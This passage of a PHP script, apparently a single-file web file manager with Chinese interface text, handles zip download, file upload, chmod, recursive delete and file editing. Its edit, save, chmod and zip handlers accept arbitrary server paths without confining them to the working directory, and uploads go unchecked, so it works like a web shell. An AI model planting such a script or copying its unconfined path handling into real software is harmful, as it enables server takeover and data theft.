open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
foreach ($_POST['selected_items'] as $item) {
$path = realpath($item);
if (!$path || !file_exists($path)) continue;
if (is_file($path)) {
$zip->addFile($path, basename($path));
} elseif (is_dir($path)) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($iterator as $file) {
$filePath = $file->getRealPath();
$localPath = substr($filePath, strlen($dir) + 1);
$zip->addFile($filePath, $localPath);
}
}
}
$zip->close();
$message = "✅ ZIP 已生成:点击下载";
$messageType = "success";
} else {
$message = "ZIP 打包失败";
$messageType = "danger";
}
}
// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
$zipFileName = basename($_GET['download_zip']);
$zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;
if (file_exists($zipFilePath)) {
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
header('Content-Length: ' . filesize($zipFilePath));
$fp = fopen($zipFilePath, 'rb');
if ($fp) {
while (!feof($fp)) {
echo fread($fp, 1024 * 1024);
flush();
}
fclose($fp);
}
unlink($zipFilePath);
exit;
} else {
echo "
ZIP 文件不存在或已过期。
";
}
}
// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$uploadFile = $_FILES['file'];
$targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
$message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
$messageType = "success";
} else {
$message = "文件上传失败";
$messageType = "danger";
}
}
// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
$name = trim($_POST['new_name']);
$type = $_POST['new_type'];
$path = $dir . DIRECTORY_SEPARATOR . $name;
if ($name !== '') {
if ($type === 'file') {
if (file_put_contents($path, '') !== false) {
$message = "文件创建成功: " . htmlspecialchars($name);
$messageType = "success";
} else {
$message = "文件创建失败";
$messageType = "danger";
}
} elseif ($type === 'folder') {
if (mkdir($path)) {
$message = "文件夹创建成功: " . htmlspecialchars($name);
$messageType = "success";
} else {
$message = "文件夹创建失败";
$messageType = "danger";
}
}
} else {
$message = "名称不能为空";
$messageType = "warning";
}
}
// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
$chmodFile = realpath($_POST['chmod_file']);
$mode = octdec($_POST['chmod_mode']);
if ($chmodFile && file_exists($chmodFile)) {
if (chmod($chmodFile, $mode)) {
$message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
$messageType = "success";
} else {
$message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
$messageType = "danger";
}
} else {
$message = "非法操作";
$messageType = "danger";
}
}
// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
if (is_file($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) {
deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
}
return rmdir($path);
}
if (isset($_GET['delete'])) {
$deletePath = realpath($_GET['delete']);
if ($deletePath && strpos($deletePath, $dir) === 0) {
if (deleteRecursive($deletePath)) {
$message = "删除成功: " . htmlspecialchars(basename($deletePath));
$messageType = "success";
} else {
$message = "删除失败: " . htmlspecialchars(basename($deletePath));
$messageType = "danger";
}
} else {
$message = "非法操作";
$messageType = "danger";
}
}
// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
$editFile = realpath($_GET['edit']);
if ($editFile && is_file($editFile)) {
$editContent = file_get_contents($editFile);
} else {
$message = "无法编辑该文件";
$messageType = "danger";
}
}
// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
$filePath = realpath($_POST['edit_file']);
if ($filePath && is_file($filePath)) {
file_put_contents($filePath, $_POST['content']);
$message = "文件已保存";
$messageType = "success";
} else {
$message = "无法写入文件";
$messageType = "danger";
}
}
// 生成面包屑
function generateBreadcrumb($dir) {
$parts = explode(DIRECTORY_SEPARATOR, $dir);
$pathAccum = '';
$breadcrumb = [];
foreach ($parts as $part) {
if ($part === '') continue;
$pathAccum .= DIRECTORY_SEPARATOR . $part;
$breadcrumb[] = "" . htmlspecialchars($part) . "";
}
return implode(" / ", $breadcrumb);
}
?>
xiaoxin
目录:
创建文件/文件夹
上传文件
编辑文件: